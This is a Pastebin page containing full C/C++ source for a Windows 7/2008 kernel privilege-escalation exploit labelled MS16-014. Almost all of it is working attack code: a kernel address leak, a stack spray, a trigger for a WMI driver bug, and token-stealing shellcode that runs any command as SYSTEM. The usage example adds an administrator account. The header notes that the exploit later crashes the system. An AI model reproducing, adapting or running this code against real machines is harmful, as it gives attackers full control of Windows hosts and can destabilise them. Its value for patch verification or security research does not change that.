Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /*
- # Exploit Title: Elevation of privilege on Windows 7 SP1 x86
- # Date: 28/06-2016
- # Exploit Author: @blomster81
- # Tested on: Windows 7 SP1 x86,windows 2008 x86
- # CVE : 2016-0400
- # Modify: @skyer(Add x64 support)
- MS16-014 EoP PoC created from
- https://github.com/Rootkitsmm/cve-2016-0040/blob/master/poc.cc
- Spawns CMD.exe with SYSTEM rights.
- Overwrites HaliSystemQueryInformation, but does not replace it, so BSOD will occur at some point
- */
- #define PSAPI_VERSION 1
- #include <Windows.h>
- #include <stdio.h>
- #include <Psapi.h>
- #include <winioctl.h>
- #include <TlHelp32.h>
- #pragma comment(lib,"Ntdll.lib")
- typedef union {
- HANDLE Handle;
- ULONG64 Handle64;
- ULONG32 Handle32;
- }
- HANDLE3264, *PHANDLE3264;
- typedef struct {
- ULONG HandleCount;
- ULONG Action;
- HANDLE /* PUSER_THREAD_START_ROUTINE */ UserModeCallback;
- HANDLE3264 UserModeProcess;
- HANDLE3264 Handles[20];
- }
- WMIRECEIVENOTIFICATION, *PWMIRECEIVENOTIFICATION;
- #define RECEIVE_ACTION_CREATE_THREAD 2 // Mark guid objects as requiring
- typedef struct {
- IN VOID * ObjectAttributes;
- IN ACCESS_MASK DesiredAccess;
- OUT HANDLE3264 Handle;
- }
- WMIOPENGUIDBLOCK, *PWMIOPENGUIDBLOCK;
- typedef enum _KPROFILE_SOURCE {
- ProfileTime,
- ProfileAlignmentFixup,
- ProfileTotalIssues,
- ProfilePipelineDry,
- ProfileLoadInstructions,
- ProfilePipelineFrozen,
- ProfileBranchInstructions,
- ProfileTotalNonissues,
- ProfileDcacheMisses,
- ProfileIcacheMisses,
- ProfileCacheMisses,
- ProfileBranchMispredictions,
- ProfileStoreInstructions,
- ProfileFpInstructions,
- ProfileIntegerInstructions,
- Profile2Issue,
- Profile3Issue,
- Profile4Issue,
- ProfileSpecialInstructions,
- ProfileTotalCycles,
- ProfileIcacheIssues,
- ProfileDcacheAccesses,
- ProfileMemoryBarrierCycles,
- ProfileLoadLinkedIssues,
- ProfileMaximum
- } KPROFILE_SOURCE, *PKPROFILE_SOURCE;
- typedef struct _DESKTOPINFO
- {
- /* 000 */ PVOID pvDesktopBase;
- /* 008 */ PVOID pvDesktopLimit;
- } DESKTOPINFO, *PDESKTOPINFO;
- typedef struct _CLIENTINFO
- {
- /* 000 */ DWORD CI_flags;
- /* 004 */ DWORD cSpins;
- /* 008 */ DWORD dwExpWinVer;
- /* 00c */ DWORD dwCompatFlags;
- /* 010 */ DWORD dwCompatFlags2;
- /* 014 */ DWORD dwTIFlags;
- /* 018 */ DWORD filler1;
- /* 01c */ DWORD filler2;
- /* 020 */ PDESKTOPINFO pDeskInfo;
- /* 028 */ ULONG_PTR ulClientDelta;
- } CLIENTINFO, *PCLIENTINFO;
- typedef struct _HANDLEENTRY {
- PVOID phead;
- ULONG_PTR pOwner;
- BYTE bType;
- BYTE bFlags;
- WORD wUniq;
- }HANDLEENTRY, *PHANDLEENTRY;
- typedef struct _SERVERINFO {
- DWORD dwSRVIFlags;
- DWORD64 cHandleEntries;
- WORD wSRVIFlags;
- WORD wRIPPID;
- WORD wRIPError;
- }SERVERINFO, *PSERVERINFO;
- typedef struct _SHAREDINFO {
- PSERVERINFO psi;
- PHANDLEENTRY aheList;
- ULONG HeEntrySize;
- ULONG_PTR pDispInfo;
- ULONG_PTR ulSharedDelta;
- ULONG_PTR awmControl;
- ULONG_PTR DefWindowMsgs;
- ULONG_PTR DefWindowSpecMsgs;
- }SHAREDINFO, *PSHAREDINFO;
- #define IOCTL_WMI_RECEIVE_NOTIFICATIONS CTL_CODE(FILE_DEVICE_UNKNOWN, 0x51, METHOD_BUFFERED, FILE_WRITE_ACCESS)
- // extern "C"
- // NTSTATUS NTAPI RtlGetVersion(
- // _Inout_ PRTL_OSVERSIONINFOW lpVersionInformation
- // );
- typedef NTSTATUS(__stdcall*RtlGetVersionT)(PRTL_OSVERSIONINFOW lpVersionInformation);
- typedef ULONG(__stdcall *g_ZwMapUserPhysicalPages)(PVOID, ULONG, PULONG);
- typedef NTSTATUS(_stdcall *_NtQueryIntervalProfile)(KPROFILE_SOURCE ProfilSource, PULONG Interval);
- //typedef NTSTATUS(NTAPI *_PsLookupProcessByProcessId)(HANDLE ProcessId, PVOID *Process);
- //NTSYSAPI NTSTATUS WINAPI RtlGetVersion(_Inout_ PRTL_OSVERSIONINFOW lpVersionInformation);
- #ifdef _WIN64
- typedef unsigned __int64 QWORD, *PQWORD;
- typedef QWORD DT;
- #else
- typedef DWORD DT;
- #endif
- DT g_HalDispatchTable = 0;
- extern "C" DT g_EPROCESS_TokenOffset = 0, g_EPROCESS = 0, g_flink = 0, g_kthread = 0, g_PID = 0;
- void* kHandle;
- HWND g_window = NULL;
- const WCHAR g_windowClassName[] = L"skyer";
- WNDCLASSEX wc;
- PSHAREDINFO g_pSharedInfo;
- PSERVERINFO g_pServerInfo;
- HANDLEENTRY* g_UserHandleTable;
- LRESULT CALLBACK WProc(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam)
- {
- return DefWindowProc(hwnd, uMsg, wParam, lParam);
- }
- void flushandexit()
- {
- fflush(stdout);
- fflush(stderr);
- ExitProcess(0);
- }
- BOOL leakHal()
- {
- DT ntoskrnlBase;
- DT HalDTUser, HalDTOffset;
- HMODULE userKernel;
- DT FuncAddress = 0L;
- LPVOID drivers[1024];
- DWORD cbNeeded;
- if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded < sizeof(drivers))
- {
- if (drivers[0])
- {
- ntoskrnlBase = (DT)drivers[0];
- }
- }
- else
- {
- printf("EnumDeviceDrivers failed; array size needed is %d\n", cbNeeded / sizeof(LPVOID));
- }
- // ntoskrnlBase = (DWORD)pModuleInfo->Modules[0].ImageBase;
- userKernel = LoadLibraryEx(L"ntoskrnl.exe", NULL, DONT_RESOLVE_DLL_REFERENCES);
- if (userKernel == NULL)
- {
- puts("Could not load ntoskrnl.exe");
- return FALSE;
- }
- HalDTUser = (DT)GetProcAddress(userKernel, "HalDispatchTable");
- HalDTOffset = HalDTUser - (DT)userKernel;
- g_HalDispatchTable = ntoskrnlBase + HalDTOffset /*+ 0x9000*/;
- return TRUE;
- }
- BOOL setup()
- {
- wc.cbSize = sizeof(WNDCLASSEX);
- wc.style = 0;
- wc.lpfnWndProc = WProc;
- wc.cbClsExtra = 0;
- wc.cbWndExtra = 0;
- wc.hInstance = NULL;
- wc.hCursor = NULL;
- wc.hIcon = NULL;
- wc.hbrBackground = (HBRUSH)(COLOR_WINDOW + 1);
- wc.lpszMenuName = NULL;
- wc.lpszClassName = g_windowClassName;
- wc.hIconSm = NULL;
- if (!RegisterClassEx(&wc))
- {
- printf("Failed to register window: %d\n", GetLastError());
- return FALSE;
- }
- g_window = CreateWindowEx(WS_EX_CLIENTEDGE, g_windowClassName, L"skyer", WS_OVERLAPPEDWINDOW, CW_USEDEFAULT, CW_USEDEFAULT, 240, 120, NULL, NULL, NULL, NULL);
- if (g_window == NULL)
- {
- printf("Failed to create window: %d\n", GetLastError());
- return FALSE;
- }
- return TRUE;
- }
- VOID SprayKernelStack() {
- g_ZwMapUserPhysicalPages ZwMapUserPhysicalPages = (g_ZwMapUserPhysicalPages)GetProcAddress(GetModuleHandleA("NTDLL.DLL"), "ZwMapUserPhysicalPages");
- if (ZwMapUserPhysicalPages == NULL)
- {
- puts("Could not get ZwMapUserPhysicalPages");
- flushandexit();
- }
- #ifdef _WIN64
- int offset = 0x60-8;
- BYTE buffer[8192];
- #else
- int offset = 0x3c-4;
- BYTE buffer[4096];
- #endif
- DT value = g_HalDispatchTable - offset;
- for (int i = 0; i < sizeof(buffer) / sizeof(DT); i++)
- {
- memcpy(buffer + i * sizeof(DT), &value, sizeof(DT));
- }
- printf("Where is at: 0x%x\n", buffer);
- puts("Spraying stack...");
- fflush(stdout);
- ZwMapUserPhysicalPages(buffer, sizeof(buffer) / sizeof(DT), (PULONG)buffer);
- }
- #ifdef _WIN64
- extern "C" void shellcode(void);
- #else
- __declspec(noinline) int shellcode()
- {
- __asm {
- pushad;// save registers state
- mov edx, g_kthread;
- mov eax, fs:[edx];// Get nt!_KPCR.PcrbData.CurrentThread
- mov edx, g_EPROCESS;
- mov eax, [eax + edx];// Get nt!_KTHREAD.ApcState.Process
- mov ecx, eax;// Copy current _EPROCESS structure
- mov esi, g_EPROCESS_TokenOffset;
- mov edx, 4;// WIN 7 SP1 SYSTEM Process PID = 0x4
- mov edi, g_flink;
- mov ebx, g_PID;
- SearchSystemPID:
- mov eax, [eax + edi];// Get nt!_EPROCESS.ActiveProcessLinks.Flink
- sub eax, edi;
- cmp[eax + ebx], edx;// Get nt!_EPROCESS.UniqueProcessId
- jne SearchSystemPID
- mov edx, [eax + esi];// Get SYSTEM process nt!_EPROCESS.Token
- mov[ecx + esi], edx;// Copy nt!_EPROCESS.Token of SYSTEM to current process
- popad;// restore registers state
- // recovery
- xor eax, eax;// Set NTSTATUS SUCCEESS
- }
- }
- #endif
- int main() {
- int argc = 0;
- wchar_t **argv = CommandLineToArgvW(GetCommandLineW(), &argc);
- puts("MS16-014 exploit by skyer");
- if (argc!=2)
- {
- puts("Usage: exp.exe command\nExample: exp.exe \"net user admin admin /ad\"");
- flushandexit();
- }
- DWORD dwBytesReturned;
- WMIRECEIVENOTIFICATION buffer;
- CHAR OutPut[1000];
- if (!setup())
- {
- puts("Could not setup window");
- flushandexit();
- }
- OSVERSIONINFOW osver;
- RtlSecureZeroMemory(&osver, sizeof(osver));
- osver.dwOSVersionInfoSize = sizeof(osver);
- RtlGetVersionT pRtlGetVersion=(RtlGetVersionT)GetProcAddress(GetModuleHandleA("ntdll"),"RtlGetVersion");
- pRtlGetVersion(&osver);
- if (osver.dwMajorVersion == 5) {
- #ifdef _WIN64
- g_EPROCESS_TokenOffset = 0x160;
- g_EPROCESS = 0x68;
- g_flink = 0xe0;
- g_PID = 0xd8;
- g_kthread = 0x188;
- #else
- g_EPROCESS_TokenOffset = 0xd8;
- g_EPROCESS = 0x38;
- g_flink = 0x098;
- g_PID = 0x94;
- g_kthread = 0x124;
- #endif
- }
- else if (osver.dwMajorVersion == 6) {
- #ifdef _WIN64
- if (osver.dwMinorVersion == 0)//win2008
- {
- g_EPROCESS_TokenOffset = 0x168;
- g_EPROCESS = 0x68;
- g_flink = 0xe0;
- g_PID = 0xe8;
- g_kthread = 0x188;
- }
- else
- {//win7
- g_EPROCESS_TokenOffset = 0x208;
- g_EPROCESS = 0x70;
- g_flink = 0x188;
- g_PID = 0x180;
- g_kthread = 0x188;
- }
- #else
- if (osver.dwMinorVersion==0)//win2008
- {
- g_EPROCESS_TokenOffset = 0xe0;
- g_EPROCESS = 0x48;
- g_flink = 0xa0;
- g_PID = 0x9c;
- g_kthread = 0x124;
- }
- else
- {//win7
- g_EPROCESS_TokenOffset = 0xf8;
- g_EPROCESS = 0x50;
- g_flink = 0xb8;
- g_PID = 0xb4;
- g_kthread = 0x124;
- }
- #endif
- }
- else
- {
- printf("this version of system was not supported\n", osver.dwBuildNumber);
- flushandexit();
- }
- PVOID userSC = VirtualAlloc((VOID*)0x2a000000, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
- // kHandle = (void*)leakWndAddr(g_window);
- memset(userSC, 0x90, 0x1000);
- memcpy(userSC, shellcode,/*(DWORD)shellcodeend-(DWORD)Shellcode*/0x4d);
- if (!leakHal())
- {
- puts("Could not leak Hal");
- flushandexit();
- }
- printf("HalDispatchTable is at: 0x%x\n", g_HalDispatchTable);
- fflush(stdout);
- DT value = (DT)userSC;
- PBYTE buff = (PBYTE)&buffer;
- for (int i = 0; i < sizeof(buffer) / 4; i++)
- {
- memcpy(buff + i * sizeof(DT), &value, sizeof(DT));
- }
- printf("What is at: 0x%x\n", buff);
- fflush(stdout);
- buffer.HandleCount = 0;
- buffer.Action = RECEIVE_ACTION_CREATE_THREAD;
- buffer.UserModeProcess.Handle = GetCurrentProcess();
- HANDLE hDriver = CreateFileA("\\\\.\\WMIDataDevice", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
- if (hDriver != INVALID_HANDLE_VALUE) {
- SprayKernelStack();
- if (!DeviceIoControl(hDriver, IOCTL_WMI_RECEIVE_NOTIFICATIONS, &buffer, sizeof(buffer), &OutPut, sizeof(OutPut), &dwBytesReturned, NULL)) {
- puts("Exploit fail");
- flushandexit();
- return 1;
- }
- }
- _NtQueryIntervalProfile NtQueryIntervalProfile = (_NtQueryIntervalProfile)GetProcAddress(GetModuleHandleA("NTDLL.DLL"), "NtQueryIntervalProfile");
- ULONG result;
- KPROFILE_SOURCE stProfile = ProfileTotalIssues;
- NtQueryIntervalProfile(stProfile, &result);
- puts("===============================");
- SECURITY_ATTRIBUTES sa;
- HANDLE hRead, hWrite;
- byte buf[40960] = { 0 };
- STARTUPINFOW si;
- PROCESS_INFORMATION pi;
- DWORD bytesRead;
- RtlSecureZeroMemory(&si, sizeof(si));
- RtlSecureZeroMemory(&pi, sizeof(pi));
- RtlSecureZeroMemory(&sa, sizeof(sa));
- int br = 0;
- sa.nLength = sizeof(SECURITY_ATTRIBUTES);
- sa.lpSecurityDescriptor = NULL;
- sa.bInheritHandle = TRUE;
- if (!CreatePipe(&hRead, &hWrite, &sa, 0))
- {
- flushandexit();
- }
- wprintf(L"Trying to execute %s as SYSTEM\n", argv[1]);
- si.cb = sizeof(STARTUPINFO);
- GetStartupInfoW(&si);
- si.hStdError = hWrite;
- si.hStdOutput = hWrite;
- si.wShowWindow = SW_HIDE;
- si.lpDesktop = L"WinSta0\\Default";
- si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
- wchar_t cmd[4096] = { 0 };
- lstrcpyW(cmd, argv[1]);
- if (!CreateProcessW(NULL, cmd, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi))
- {
- CloseHandle(hWrite);
- CloseHandle(hRead);
- wprintf(L"CreateProcessW Failed![%p]\n",GetLastError());
- flushandexit();
- }
- CloseHandle(hWrite);
- printf("ProcessCreated with pid %d!\n", pi.dwProcessId);
- while (1)
- {
- if (!ReadFile(hRead, buf + br, 4000, &bytesRead, NULL))
- break;
- br += bytesRead;
- }
- // HANDLE h = GetStdHandle(STD_OUTPUT_HANDLE);
- // WriteConsoleA(h, buf, br, &bytesRead, 0);
- puts((char*)buf);
- fflush(stdout);
- fflush(stderr);
- CloseHandle(hRead);
- CloseHandle(pi.hProcess);
- return 0;
- }
Add Comment
Please, Sign In to add comment